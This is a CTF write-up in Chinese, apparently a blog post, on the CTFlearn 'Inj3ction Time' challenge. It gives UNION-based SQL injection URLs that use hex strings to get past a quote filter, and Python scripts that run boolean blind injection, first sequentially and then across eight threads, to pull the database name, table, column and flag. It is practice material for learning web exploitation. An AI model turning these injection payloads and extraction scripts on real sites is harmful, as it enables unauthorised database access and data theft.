CTFlearn Inj3ction Time --sql注入python多線程腳本練習

0x00前言:

本題是國外的一個CTF平臺的題目,題目不難,但學習了波多線程payload寫法  

先看題目描述,提示"union是個有用的命令",估計是用聯合查詢就能出答案的(因爲前面有道easy題也是聯合查詢出答案,因此我最先做題沒看題幹,以爲要盲注...於是寫了payload)

 

0x01正常解法:

正常解法很簡單,最先用 1'or'1'='1的時候發現沒有反應,用burpsuite的Intruder進行fuzz一下發現是整數型注入,並且 ' (單引號)被過濾掉了

於是用union測試,有1,2,3的回顯

https://web.ctflearn.com/web8/?id=-1 union select 1,2,3,4%23

接下來繼續查表,查字段,最終找flag

這裏唯一一個要bypass的點在於單引號被過濾,因此常規字符串不行,於是用hex來表示字符串,可以不需要單引號

https://web.ctflearn.com/web8/?id=-1+union+select+1,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7765626569676874%20),3,4%23

最後找到flag爲 abctf{uni0n_1s_4_gr34t_c0mm4nd}

 

0x02多線程的payload:

因爲寒假的怠慢,於是我也借這道題來寫寫腳本找找手感,於是也就順便學習了下多線程的寫法

首先常規套路的payload

import requests

url = "https://web.ctflearn.com/web8/index.php"
s = requests.session()
length = 0

def get_length():
    global length
    for i in range(0,100):
        payload = url + "?id=-1||if((length((select database()))=" + str(i) + "),1,0)%23"
        r = s.get(payload)
        if("Saranac" in r.text): 
            length = i
            break
    print "length is :" + str(length) 

def get_text():
    global length
    flag = ""
    for i in range(1,length + 1):
        for j in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-=+,.{}':
            payload = url + "?id=-1||if((substr((select database())," + str(i) + ",1)=" + str(hex(ord(j))) + "),1,0)%23"
            r = s.get(payload)
            if("Saranac" in r.text):
                flag = flag + str(j)
                print "flag is : " + flag
                break
    print "the final flag is : " + flag

def main():
    get_length()
    get_text()

if __name__ == '__main__':
    main()

這裏僅爆破了下數據庫名

然後就是將其改造成多線程

因爲第一次寫多線程,所有從一步步說起

首先payload多線程要用到Threading模塊,並且要使用隊列,因此要導入進來

import threading
import Queue

然後線程工作的方式是申請一個threading.thread的類,然後用類中的start()方法啓動,有多少個該類對象start()了,就有多少個線程在跑

申請類對象的方法

thread_count = 8
threads = []
for i in range(0, thread_count):
    thread = TextThread(queue)
    thread.start()
    threads.append(thread)

for thread in threads:
    thread.join()

TextThread類是我繼承了Threading.Thread的類名,之後會說到

thread_count是線程數

threads[]是存放線程對象的數組

thread=TextThread(queue) 實例化對象,帶個參數,該參數爲隊列的對象

thread.start()啓動線程

threads.append(thread)爲將本次循環的線程添加到list裏面去

thread.join()是等待所有線程結束後纔會繼續運行

 

對於爆破字符長度不太需要多線程共同完成,因爲該題的字符長度最多30+,因此多線程處理的地方爲爆破每個位置的字符

那麼如何多個線程共同完成接近50個字符處理呢(因爲mysql默認大小寫不敏感,因此會出現W w這種2個字符都會正確的情況,因此我payload少寫了大寫字符)

考慮到最主要消耗時間的地方是s.get(payload)發送請求這段代碼,因此for裏面的字符壓入隊列消耗時間是很短的

所以基本思想是將每個測試的字符存入隊列,每個線程發送了請求後,直接從隊列裏面拿下一個

 

這裏就需要打造自己的類了,繼承Threading.thread的類,重寫構造方法和run()方法,run()方法即啓動的時候線程該如何運行的方法

class TextThread(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.__queue = queue

    def run(self):
        global text
        queue = self.__queue
        while not queue.empty():
            info = queue.get()
            num = info[0]
            word = info[1]
            payload = url + "?id=-1||if((substr((select database())," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
            r = s.get(payload)
            if("Saranac" in r.text):
                text += word
                print text

 

可以看到從構造方法__init__繼承了父類的__init__方法,並額外獲取了一個queue隊列變量

run()方法

先獲取隊列方法

然後如果隊列不爲空,從隊列裏面取值進行賦值給num和word,進行發送

 

字符進入隊列用一個for語句壓入隊列即可

for i in range(1, length + 1):
        for j in "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+,.{}":
            queue.put([i,j])

 

最後的payload爲

import requests
import Queue
import threading

url = "https://web.ctflearn.com/web8/index.php"
s = requests.session()
text = ""

def get_length():
    for len in range(1,100):
        print len
        #get datbase
        #payload = url + "?id=-1||if((length((select database()))=" + str(len) + "),1,0)%23"
        #get table
        #payload = url + "?id=-1||if((length((select group_concat(table_name) from information_schema.tables where table_schema = 0x7765626569676874))=" + str(len) + "),1,0)%23"
        #get column
        #payload = url + "?id=-1||if((length((select group_concat(column_name) from information_schema.columns where table_name = 0x7730775f7930755f6630756e645f6d33 ))=" + str(len) + "),1,0)%23"
        #get flag
        payload = url + "?id=-1||if((length((select group_concat(f0und_m3) from w0w_y0u_f0und_m3 ))=" + str(len) + "),1,0)%23"
        r = s.get(payload)
        if("Saranac" in r.text):
            return len

class TextThread(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.__queue = queue

    def run(self):
        global text
        queue = self.__queue
        while not queue.empty():
            info = queue.get()
            num = info[0]
            word = info[1]
            #get databse   webeight
            #payload = url + "?id=-1||if((substr((select database())," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
            #get table   w0w_y0u_f0und_m3,webeight
            #payload = url + "?id=-1||if((substr((select group_concat(table_name) from information_schema.tables where table_schema = 0x7765626569676874)," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
            #get column  f0und_m3
            #payload = url + "?id=-1||if((substr((select group_concat(column_name) from information_schema.columns where table_name = 0x7730775f7930755f6630756e645f6d33 )," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
            #get flag
            payload = url + "?id=-1||if((substr((select group_concat(f0und_m3) from w0w_y0u_f0und_m3 )," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
            r = s.get(payload)
            if("Saranac" in r.text):
                text += word
                print text

def get_text(length):
    queue = Queue.Queue()
    text = ""
    for i in range(1, length + 1):
        for j in "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+,.{}":
            queue.put([i,j])

    thread_count = 8
    threads = []
    for i in range(0, thread_count):
        thread = TextThread(queue)
        thread.start()
        threads.append(thread)

    for thread in threads:
        thread.join()

def main():
    length = get_length()
    print "the length is : " + str(length)

    get_text(length)
    print "the text is " + text


if __name__=='__main__':
    main()

 

最先看菜鳥教程的時候其中講到線程同步需要用鎖來實現,但是如果在循環外面鎖住,那麼其實循環就只有一個線程在跑,如果在s.get(payload)的前後鎖住,也只是一個線程在工作最主要耗費時間的地方,因此在最先學習的時候不知道到底如何加鎖來達到同步,最後看了幾篇文章後認爲這裏應該用隊列完成

一直想着如何強行終止線程,但是發現python並沒有給出方法,網上也有一些特殊的方法終止,但是有個說法是強行終止線程是個不正常的行爲,因此也就沒有寫的更加複雜來強行終止來達到更快的速度

參考鏈接:https://www.cnblogs.com/ichunqiu/p/6508698.html       

     http://www.runoob.com/python/python-multithreading.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章